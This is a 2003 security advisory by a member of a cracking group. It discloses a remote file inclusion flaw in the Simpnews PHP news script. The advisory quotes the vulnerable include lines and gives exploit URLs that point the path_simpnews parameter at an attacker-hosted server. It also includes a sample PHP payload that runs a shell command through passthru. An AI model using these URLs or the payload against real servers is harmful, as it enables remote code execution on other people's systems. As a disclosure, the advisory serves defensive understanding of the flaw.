Simpnews has an include file vulnerability that allows a remote attacker to load malicious PHP scripts.
3a1cb29b2d9407d519d17fe3a494ffe6d482069586256ca3aea9634a0659e949
original File name : PUPET-simpnews.txt
date releases : july 15, 2003
Informations :
=========================
Advisory Name: Simpnews include file Vulnerability
Author: PUPET <pupet@cosmo.com>
Discover by: PUPET <pupet@cosmo.com>
Website vendor : http://www.boesch-it.de/
Versions : tested on V2.01 -> V2.13
Problem : Include file
PHP Code/Location :
=========================
/eventscroller.php :
---------------------------
...
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
if(!isset($category))
$category=0;
if(!isset($lang) || !$lang)
...
--------------------------
/eventcal2.php :
---------------------------
...
if(!isset($lastvisitdate))
$lastvisitdate=0;
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
include_once($path_simpnews.'/includes/has_entries.inc');
...
---------------------------
Exploits :
===============
http://[target]/eventcal2.php.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php
http://[attacker]/includes/has_entries.inc
or
http://[target]/eventscroller.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php
Example for config.php on http://[attacker]/
==================
<? passthru("uname -a"); ?>
Vendor Response:
==============
Not contacted yet
Patch :
=============
will post soon at http://www.cracxer.or.id .
reference :
=============
http://www.pupet.net/cracxerfiles
==============
This bugs Discover by : PUPET members of cracxer.or.id sub-devision security focus (www.cracxer.or.id)
Thanks to :
============
kaka-joe , pak-tani, Bewok , AxAL , ^BuBuR^aYaM^ , Ernesto_che_guevarra , Babah, Idon
Schatje , juventini , Headup , Quervo , kecap , notts , Kemo (candyman) and all crew #cracxer, #dhegleng, #minangcrew, #indocracker at @dalnet
By :
============
PUPET (no more mr nice guy)
_____________________________________________________________
Get email for your site ---> http://mail.cosmo.com